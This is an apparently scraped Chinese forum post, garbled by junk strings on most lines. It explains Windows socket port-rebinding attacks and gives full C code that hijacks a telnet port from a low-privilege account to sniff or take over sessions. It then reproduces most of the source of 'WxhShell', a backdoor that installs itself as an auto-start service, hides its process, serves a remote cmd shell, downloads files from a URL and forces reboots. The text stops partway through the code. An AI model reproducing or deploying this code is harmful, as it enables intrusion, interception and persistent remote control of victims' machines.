在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
cOvdC4 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
7'idjcR tDn:B$*}W, saddr.sin_family = AF_INET;
WADAp\& ){$*<#&H saddr.sin_addr.s_addr = htonl(INADDR_ANY);
S$ Z?T }ISc^W) t bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
=.ReM_. #-8%g{ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
s|9[=JMG ND\M 这意味着什么?意味着可以进行如下的攻击:
2OsS+6,[x 5LJ0V 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
q cGsx2 -DL"Yw} 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
dd:vQOF; ZXC_kmBN/ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
k8E{pc6; D2 X~tl5< 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
b&2N7% _Z_R\ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
jkV9$W0 I T?~`vi 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
);=0cnr3 s|!lw 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
1Ms_2 8M8Odz\3 q #include
X|dlVNL8p #include
1w'W)x #include
6\vaR# #include
yz^4TqJ DWORD WINAPI ClientThread(LPVOID lpParam);
*~Sv\L int main()
SGK
5 {
=;~*YD(%/ WORD wVersionRequested;
#R*7y%cO DWORD ret;
?(Ytc) WSADATA wsaData;
PM`iqn)@ BOOL val;
;C,t`( SOCKADDR_IN saddr;
JiFB<Q\ SOCKADDR_IN scaddr;
&.[I}KH|B int err;
<7_s'UAL! SOCKET s;
?ZP@H
_w6} SOCKET sc;
tui5?\ int caddsize;
=hi{J
M HANDLE mt;
L'u*WHj|v DWORD tid;
,Rdw]O
wVersionRequested = MAKEWORD( 2, 2 );
!24PJ\~I err = WSAStartup( wVersionRequested, &wsaData );
/Csk"IfuO if ( err != 0 ) {
S9%ZeM+ printf("error!WSAStartup failed!\n");
@K1'Q!S* return -1;
PC3?eS} }
6 l7iX] saddr.sin_family = AF_INET;
]\ t20R{z *=X61`0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
1'f& xq&r|el saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
1 RVs!; saddr.sin_port = htons(23);
Af Y]i if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
y
'Ah*h {
jx14/E+^ printf("error!socket failed!\n");
PwU<RKAE return -1;
oaG;i51! }
*JF7 B val = TRUE;
ujS C //SO_REUSEADDR选项就是可以实现端口重绑定的
13fyg7^JP if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
SvQ!n4 $ {
Jk;dtLL}4 printf("error!setsockopt failed!\n");
~rlPS#]o return -1;
Jw0I$W/ }
eI98J"h%? //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
p %hvDC //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
ai"N;1/1O| //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
31cZ6[ T_[ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
X 4\V4_ {
i,,mt_/, ret=GetLastError();
5E^P2Mlc printf("error!bind failed!\n");
'LYN{ return -1;
SB,#y>Zv? }
gts09{"}Y listen(s,2);
EQ]>^VE2B while(1)
wRg[Mu,Q5 {
w5=<}1`St caddsize = sizeof(scaddr);
iy|;xBI, //接受连接请求
W&HxMi sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
q);oO\< if(sc!=INVALID_SOCKET)
6Ev+!!znu {
]e$n ;tuW mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;H9 W:_ahE if(mt==NULL)
@(IA:6GN {
<5zr|BTF]F printf("Thread Creat Failed!\n");
A@Cvx7X break;
a:s$[+'Y }
' pIC~ }
ra8AUj~RX CloseHandle(mt);
XB a^
A }
5a4i)I63o closesocket(s);
i!eY"|o WSACleanup();
Y.kc,~vYL return 0;
E8 5TCS1 }
SNf~%B?`L DWORD WINAPI ClientThread(LPVOID lpParam)
[LrO"9q( {
8( Q[A SOCKET ss = (SOCKET)lpParam;
>^SQrB SOCKET sc;
?rziKT5OOC unsigned char buf[4096];
n g9_c SOCKADDR_IN saddr;
jI~$iDdOfs long num;
NTSIClm}U DWORD val;
bK{ VjXF DWORD ret;
QcX&q%*0 //如果是隐藏端口应用的话,可以在此处加一些判断
i=&]%T6Qk //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
k%iwt]i% saddr.sin_family = AF_INET;
V9cj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
;zd.KaS saddr.sin_port = htons(23);
7jGfQ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Yp\Y]pym {
A)&CI6( printf("error!socket failed!\n");
"~KTLf return -1;
&Lbwx&!0b }
O\6gw$ val = 100;
T7o7t5* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
C=2DxdZG {
rC_saHo>#R ret = GetLastError();
U }I#;*F return -1;
7Sh1QDYZ }
A`"?~_pHC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z$%!H7w {
\GKR(~f ret = GetLastError();
jv6>7@<G return -1;
/2MZH }
#w8.aNU+] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
_xBhMu2f {
/82E[P"}6R printf("error!socket connect failed!\n");
e_g&L) closesocket(sc);
Z?WVSJUVf closesocket(ss);
?mN!9/DIc return -1;
7]~|dc( }
M1T . while(1)
+;=>&XR0m {
l}k'ZX 4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
-BWWaL //如果是嗅探内容的话,可以再此处进行内容分析和记录
IRTWmT
jT //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
[Dmf.PUe num = recv(ss,buf,4096,0);
G:`So if(num>0)
P>^$X send(sc,buf,num,0);
"z=~7g else if(num==0)
t:xTmK&vt break;
8 qZbsZi4 num = recv(sc,buf,4096,0);
O@w_"TJP/z if(num>0)
|;^$IZSsz send(ss,buf,num,0);
lR mVeq: else if(num==0)
[nlq(DGJhp break;
K<%8.mZ7 }
p["pGsf closesocket(ss);
fI'+4
)@x closesocket(sc);
xMa9o return 0 ;
~yV?*"Hi }
1=ZQRJW0B 1^ go)(Mx }lCQ+s! ==========================================================
bH :C/P<x hlz/TIP^N3 下边附上一个代码,,WXhSHELL
4 /v[.5 ~QUN O~ ==========================================================
c%&*yR kuq&; uk$Q #include "stdafx.h"
06v'!M >%slzr #include <stdio.h>
.ud&$-[a #include <string.h>
xsN OjHk #include <windows.h>
jj]|}G #include <winsock2.h>
HiD%BL>% #include <winsvc.h>
$BG]is,&5 #include <urlmon.h>
91DevizXx z46Sh&+ #pragma comment (lib, "Ws2_32.lib")
} :gi<#-:G #pragma comment (lib, "urlmon.lib")
[HQ/MkP-Z }_H\75Iv #define MAX_USER 100 // 最大客户端连接数
%?F$3YN, #define BUF_SOCK 200 // sock buffer
^+gD;a|t #define KEY_BUFF 255 // 输入 buffer
: #so"O `-K[$V #define REBOOT 0 // 重启
NL2D, #define SHUTDOWN 1 // 关机
Q]/{6:C %:Y(x$Qy #define DEF_PORT 5000 // 监听端口
%*V r}@BA) 5KIhk`S #define REG_LEN 16 // 注册表键长度
yS3or(K #define SVC_LEN 80 // NT服务名长度
#\O'*mz !1A< jL // 从dll定义API
}]<|`FNc typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
@x;(yqOb typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
NS;LFeGD typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
bfpoX,: typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
':DL F(^#_tXP // wxhshell配置信息
9E4^hkD& struct WSCFG {
+At0V( int ws_port; // 监听端口
n-,mC/4 char ws_passstr[REG_LEN]; // 口令
&qIdT;^=I int ws_autoins; // 安装标记, 1=yes 0=no
fKtlfQG char ws_regname[REG_LEN]; // 注册表键名
tx Qr|\4k char ws_svcname[REG_LEN]; // 服务名
B(O6qWsL char ws_svcdisp[SVC_LEN]; // 服务显示名
x5rLGt char ws_svcdesc[SVC_LEN]; // 服务描述信息
4Y4zBD=< char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@RL'pKab9 int ws_downexe; // 下载执行标记, 1=yes 0=no
u:B=lZ[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&5[+p{2 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
E]S:F3 q]*jTb };
SwaPRAF 1=`VaS // default Wxhshell configuration
0O-"tP8o struct WSCFG wscfg={DEF_PORT,
#q-fRZ:P "xuhuanlingzhe",
TefPxvd 1,
)HvBceN "Wxhshell",
h-SKw=n "Wxhshell",
6Tc!=lk "WxhShell Service",
E}<i?; "Wrsky Windows CmdShell Service",
w@n}DCFt "Please Input Your Password: ",
C}DIm&)) 1,
FU.?n)P "
http://www.wrsky.com/wxhshell.exe",
a`?Vc}& "Wxhshell.exe"
5PC:4 };
{wDe#c{_ <Of-,PcCV // 消息定义模块
v!$?;"d+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
wM3m'# xJ char *msg_ws_prompt="\n\r? for help\n\r#>";
o02G:!gB char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
mAJ'>^`^ char *msg_ws_ext="\n\rExit.";
Kb1@ + char *msg_ws_end="\n\rQuit.";
r:4]:NKCi char *msg_ws_boot="\n\rReboot...";
YD{N)v char *msg_ws_poff="\n\rShutdown...";
8U4In[4 char *msg_ws_down="\n\rSave to ";
L{&=SR. @O-\s q char *msg_ws_err="\n\rErr!";
(Jk[%_b>_ char *msg_ws_ok="\n\rOK!";
>$)~B4 Cb.M char ExeFile[MAX_PATH];
6':Egh[; int nUser = 0;
w ykaf HANDLE handles[MAX_USER];
6UL9+9[C int OsIsNt;
z<0/#OP' k`5K& SERVICE_STATUS serviceStatus;
)|AxQPd SERVICE_STATUS_HANDLE hServiceStatusHandle;
-})zRL0!' Z+[W@5q // 函数声明
M-q5Jfm int Install(void);
n.R"n9v` int Uninstall(void);
W"CG&. int DownloadFile(char *sURL, SOCKET wsh);
PAxR?2m{ int Boot(int flag);
'fk6]&-I void HideProc(void);
?5,I`9 int GetOsVer(void);
ZvO1=*
J, int Wxhshell(SOCKET wsl);
~`B]G void TalkWithClient(void *cs);
{))Cb9' int CmdShell(SOCKET sock);
|YfJ#Agm+ int StartFromService(void);
?[Ma" l> int StartWxhshell(LPSTR lpCmdLine);
6:`[Fi &2O~BIRE VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
B?y[ %i VOID WINAPI NTServiceHandler( DWORD fdwControl );
'T3xZ?*q= eV}H // 数据结构和表定义
6\-u:dvGI? SERVICE_TABLE_ENTRY DispatchTable[] =
Dk8@x8
{
Kxz|0l {wscfg.ws_svcname, NTServiceMain},
4mpcI {NULL, NULL}
G|"m-.9F };
UISsiiG( .3cD.']% // 自我安装
% I2JS int Install(void)
gFfKK`)}D' {
\ Z5160 char svExeFile[MAX_PATH];
2$A "{2G HKEY key;
0($On`# strcpy(svExeFile,ExeFile);
6E^9> |
q elvK* // 如果是win9x系统,修改注册表设为自启动
)ZFc5m^+u if(!OsIsNt) {
DnW/q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
&F Yv4J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`~41>mM% RegCloseKey(key);
&!M6{O=~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Rtl1eJ- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
JeA_mtSQ| RegCloseKey(key);
K]|hkp& return 0;
mQ:YHtHE.F }
a$bE2'cb }
,]das }
_Vt(Eg_\ else {
I9`ZK2S Uty0mc( // 如果是NT以上系统,安装为系统服务
t%f>*}*P* SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NVB#=!S if (schSCManager!=0)
aH8]$e8_,\ {
;W FiMM\ SC_HANDLE schService = CreateService
I{.t-3hp (
HW#@e kh schSCManager,
R|Uu wscfg.ws_svcname,
`@vksjxu wscfg.ws_svcdisp,
[~`p~@\+ SERVICE_ALL_ACCESS,
P4|A\|t SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
141xi;o SERVICE_AUTO_START,
bUSa#pNO> SERVICE_ERROR_NORMAL,
W{j(=<|< svExeFile,
K*4ib/'E a NULL,
Q:b0! NULL,
HNlW.y" NULL,
$'<$:;4b3 NULL,
VRSBf;? NULL
*m`x/_y+ );
M
8(w+h{ if (schService!=0)
Dqd2e&a\ {
\0 &$n CloseServiceHandle(schService);
%5@>
nC?`[ CloseServiceHandle(schSCManager);
:1@jl2, strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
kr!>rqN5 strcat(svExeFile,wscfg.ws_svcname);
Z
J1@z. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
!:tr\L { RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
I#7H)^us RegCloseKey(key);
D-x*RRkpp return 0;
Ra:UnA }
vmo! }
[
<k&]Kv CloseServiceHandle(schSCManager);
BJ
fBYH,M }
5D
XBTpCVM }
LCq1F(q zTi
8 y<} return 1;
=5YbK1Q^ }
jX*gw6! +[$Td%6 // 自我卸载
jyidNPLm4 int Uninstall(void)
t2rZ%[O {
r@wE?hK HKEY key;
%*IH~/Ld;] `49!di[ if(!OsIsNt) {
3Ljj|5.q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^BW8zu@=O RegDeleteValue(key,wscfg.ws_regname);
wgq=9\+& RegCloseKey(key);
ejbtdU8N< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!X-ThKEq RegDeleteValue(key,wscfg.ws_regname);
eiRVw5g RegCloseKey(key);
lE8_Q *ev return 0;
-_]Ceq/ }
7vI
ROK~ }
QXEZ?gx }
6wXy;!2 else {
T]b&[?p|a[ uigzf^6, SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
#BZ5Mxzj if (schSCManager!=0)
G(t&(t`[ {
t~!ag#3['. SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
Y|W#VyM- if (schService!=0)
Ln/*lLIOb {
/sPa$D if(DeleteService(schService)!=0) {
]g,j CloseServiceHandle(schService);
w]N;HlU CloseServiceHandle(schSCManager);
[=u@6Y return 0;
0}T56aD=! }
Hd
gABIuX CloseServiceHandle(schService);
:?i,!0#" }
F*NHy.Y CloseServiceHandle(schSCManager);
(/t{z= }
Mt%Q5^ }
I7t}$S6 Lw?>1rTT/ return 1;
o_[I#PT }
yBv4 xKMH NL!xkcXO // 从指定url下载文件
0TiDQ4}i[ int DownloadFile(char *sURL, SOCKET wsh)
z:)*Aobwv {
4FKgp|Y0 HRESULT hr;
pK/RkA1 char seps[]= "/";
yWr&G@>G char *token;
r "\<+$ 7 char *file;
$:onKxVM char myURL[MAX_PATH];
XSx'@ qH char myFILE[MAX_PATH];
0$U\H>r x_/H strcpy(myURL,sURL);
2_Cp}Pj token=strtok(myURL,seps);
Lg2PP#r while(token!=NULL)
l
SuNZYaO {
DLe>EU;vS file=token;
] xIgP% token=strtok(NULL,seps);
ygUX ]*m! }
d/YQ6oKU {~ w! GetCurrentDirectory(MAX_PATH,myFILE);
ZOx;]D"s strcat(myFILE, "\\");
j2 >WHh strcat(myFILE, file);
E|6@h8# send(wsh,myFILE,strlen(myFILE),0);
N;=J)b|9 send(wsh,"...",3,0);
qi8AK(v hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
(?.h<v1} if(hr==S_OK)
,.Lo)[( return 0;
?tT89m3_E else
F^=y+}]= return 1;
(F:|tiV+ Jr>Nc}!U }
4%<D\# c5[~2e // 系统电源模块
=Prz| int Boot(int flag)
Cth<x n(Q {
Nvd(Tad HANDLE hToken;
bW3Ah?0N TOKEN_PRIVILEGES tkp;
Z_T~2t /5\{(=0 if(OsIsNt) {
sq8O+AWl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
S7R*R} LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
Ka"1gbJ| tkp.PrivilegeCount = 1;
oV~S4|9: tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8yuTT^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
~AF'
6"A if(flag==REBOOT) {
=Q!V6+}nY^ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
~k ]$J|}za return 0;
b1Ba} }
F@ZB6~T~. else {
:1#$p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
J^pq< return 0;
Vz y )jf }
sWP_fb1 }
t & 5s. else {
4HGR-S/ if(flag==REBOOT) {
.WGrzhsV if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
01+TVWKX return 0;
2y9$ k\<xV }
lhF)$M else {
70nBC if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
LO)QEUG return 0;
F Zk[w>{ }
1(Lq9hs` }
1kh()IrA z+nq<%"' return 1;
gZ { }
;O({|mpS\ {=P}c:iW // win9x进程隐藏模块
)79F"ltzh void HideProc(void)
Dwah_ p8 {
U+@rLQ.- `Fb%vYf HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
gyv @_}Y3 if ( hKernel != NULL )
U{3Pk0rZ {
AD"L>7 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
+`.,6TNVlY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Z7dV y8J FreeLibrary(hKernel);
oX6()FR }
q>VvXUyK, 51!#m| return;
eg>]{`WQ }
^:o^g'Yab H`jvT] // 获取操作系统版本
k FE<M6a9@ int GetOsVer(void)
OJ)XJL {
$_
k:{? OSVERSIONINFO winfo;
R|!4klb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
j`k:) GetVersionEx(&winfo);
`xFgYyiQd if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
\l/<[ZZ return 1;
"'U]4Z%q! else
n`|CDKb return 0;
DbH'Qs?z }
7iH%1f {o8K&XU#&t // 客户端句柄模块
F3<Ip~K int Wxhshell(SOCKET wsl)
#(r1b'jfP {
8>ODtKI* SOCKET wsh;
nb U?:=P struct sockaddr_in client;
4Kn)5> DWORD myID;
qUG)+~g` !FbW3p f while(nUser<MAX_USER)
Cq<k(TKAX {
$WZHkV int nSize=sizeof(client);
Z`{GjV3%wH wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Yq-7! if(wsh==INVALID_SOCKET) return 1;
)F%zT[Auph 4d
$T6b handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
C'fQ Z,r-v if(handles[nUser]==0)
DVjsz closesocket(wsh);
%CG=mTP else
*&rV}vVP^ nUser++;
Mt(;7q@1c }
87:V-*8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
hE}y/A[ 9I*`~il>{ return 0;
`'/1Ij+ }
>twog}% 8POLp9>X // 关闭 socket
lxOUV? m^N void CloseIt(SOCKET wsh)
p!2t/XIM {
tcj3x< closesocket(wsh);
~DUOL~E nUser--;
2p8}6y:}7 ExitThread(0);
AR5)Uws }
lX%e MD=!a5' // 客户端请求句柄
=1% < void TalkWithClient(void *cs)
7N[Cs$_] {
q%8Ck)xz j+NpQ}t: SOCKET wsh=(SOCKET)cs;
4F?O5&329i char pwd[SVC_LEN];
'V(9ein^Q char cmd[KEY_BUFF];
/3CdP'c char chr[1];
~`o%Y"p%rv int i,j;
5tm:|.`SQ -Oc while (nUser < MAX_USER) {
NUGiDJ+[ .0#{?R, if(wscfg.ws_passstr) {
YfU6mQ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#=aT Sw X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
t{Gc,S!]5 //ZeroMemory(pwd,KEY_BUFF);
-v62 s i=0;
'7>Yrzq while(i<SVC_LEN) {
OiMr, zr[|~- // 设置超时
K8|>" c~ fd_set FdRead;
CeW}zkcT struct timeval TimeOut;
l08JL FD_ZERO(&FdRead);
BMovl4*5 FD_SET(wsh,&FdRead);
xY1@Ja TimeOut.tv_sec=8;
_gI1@uQw
TimeOut.tv_usec=0;
L$
ZZ]?7j int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
pJ H@v
&a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
~X%W2N2 /7p1y v if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
w.R2' WR pwd
=chr[0]; BZAF;j
if(chr[0]==0xd || chr[0]==0xa) { m15> ^i^W
pwd=0; n3JSEu;J
break; u1_NC;
} Ebytvs,w
i++; Ue2k^a*Ww
} QVPJ$~x
@1iH4RE*
// 如果是非法用户,关闭 socket \6K1Z!*;
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); L|K^w *\C
} ,3FG' q2
5r(Y,m"?
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);
&L4>w.b"N
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H4JwgQ
pl5Q2zq%
while(1) { pJPP6Be<
]{PJ
ZeroMemory(cmd,KEY_BUFF); H5?H{
\:`-"Ou(*
// 自动支持客户端 telnet标准
^U0)iz
j=0; :ej`]yK |
while(j<KEY_BUFF) { e[*%tx H
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fGMuml?[ e
cmd[j]=chr[0]; g%T` 6dvT
if(chr[0]==0xa || chr[0]==0xd) { c-bTf$6}
cmd[j]=0; R:t
break; DzE_p-
zs
} wBIhpiJX0
j++; 8c0ugM
} [Cf{2WB:7
#wP$LKk
// 下载文件 \s">trXwX
if(strstr(cmd,"http://")) { P~ 7p~ke
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >`u/#mrd
if(DownloadFile(cmd,wsh)) PHQ99&F1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); vFgX]&bE
else fD ?w!7f-1
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F@u>5e^6
} hxx`f-#=
else { oiNt'HQ2/
dEG1[QG
switch(cmd[0]) { `]4bH,%~
7Hzv-s
// 帮助 7=[/J*-m
case '?': { R?H[{AX
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kCZxv"Ts
break; Swnom?t
} V[baGNe
// 安装 =Z}=n S?4
case 'i': { ,1|0]:
if(Install()) O>kM2xw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); AG(Gtvw
else GMQKR,6VM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &1$|KbmV4
break; a7wc>@9Q,
} U#
7K^(E9
// 卸载 9>hK4&m^
case 'r': { TxXX}6
if(Uninstall()) m. "T3K
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nvj0MD{ X
else rX@?~(^ML
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Spt;m0W90
break; +W[NgUrGJ
} fMZzR|_18
// 显示 wxhshell 所在路径 Q_M:v
case 'p': { fs6% M]u
char svExeFile[MAX_PATH]; kli)6R<
strcpy(svExeFile,"\n\r"); 4]mAV\1
strcat(svExeFile,ExeFile); }N%uQP#I
send(wsh,svExeFile,strlen(svExeFile),0); j]bNOC2.L
break; )ME'qA3K
} 2!;U.+(
// 重启 Lm"zW>v
case 'b': { C}8 3t~Q
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~#y( ]Xec2
if(Boot(REBOOT)) VAet!H +]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0>)F+QC
else { 2}jC%jR2
closesocket(wsh); xI(Y}>
ExitThread(0); Yo;Mexo!
} S^*ME*DDz
break; 3KN>t)A#
} g]Fm%iy
// 关机 8KyF0r?
case 'd': { 5;_&C=[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !R@s+5P)U
if(Boot(SHUTDOWN)) Ch,%xs.)G
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m(eR Wx&pZ
else { Bl!R
bh\
closesocket(wsh); Ze- MB0w
ExitThread(0); B96"|v$
} ] R-<v&O
break; mqk tM6
} V.^Z)iNf^
// 获取shell uPQrDr5
case 's': { h&j9'
CmdShell(wsh); )R@M~d-o
closesocket(wsh); *Ph@XkhU
ExitThread(0); Xw_6SR9C
break; f5dctDHP
} OXIy0].b
// 退出 nHTb~t5Ke
case 'x': { 0o&B 7N
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \>nY%*
CloseIt(wsh); yi@mf$A|
break; Kb,#Ot
} G0&'B6I>
// 离开 NQ qq\h
case 'q': { 0FG|s#Ig
send(wsh,msg_ws_end,strlen(msg_ws_end),0); WSV[)-=:
closesocket(wsh); `;H3['~$
WSACleanup(); iyr'9BA
exit(1); WuUT>omH
break; sad[(|
} :Co+haW
} "pW@[2Dkx/
} TSHH=`cx
Z&Ao;=Gp1
// 提示信息 A!.* eIV|
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T$r?LIa ,Q
} qbu5aK}+
} `R{ ZED
l'
7$jO3J
return; >J>|+W
} F|{F'UXj|
#23m_w^L
// shell模块句柄 4N{5i)
int CmdShell(SOCKET sock) F-I\x
{ pSh$#]mZ`
STARTUPINFO si; ti}G/*4
ZeroMemory(&si,sizeof(si)); 11jDAA(|
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \(a!U,]LM
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Od@<L
PROCESS_INFORMATION ProcessInfo; vB;$AFh{
char cmdline[]="cmd"; /!HFi>
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); KM jnY2
return 0; Kt/Wd
} TVEFZ\p<A
SF?s^
// 自身启动模式 F\(7B#
int StartFromService(void) ;1[Lwnm
{ D>).^>|q
typedef struct j+7ok 5J#
{ ?)V}_%fVv
DWORD ExitStatus; yNkE>
DWORD PebBaseAddress; 3PU'd^
DWORD AffinityMask; 'p:L"L}Q?
DWORD BasePriority; aq<QKnU
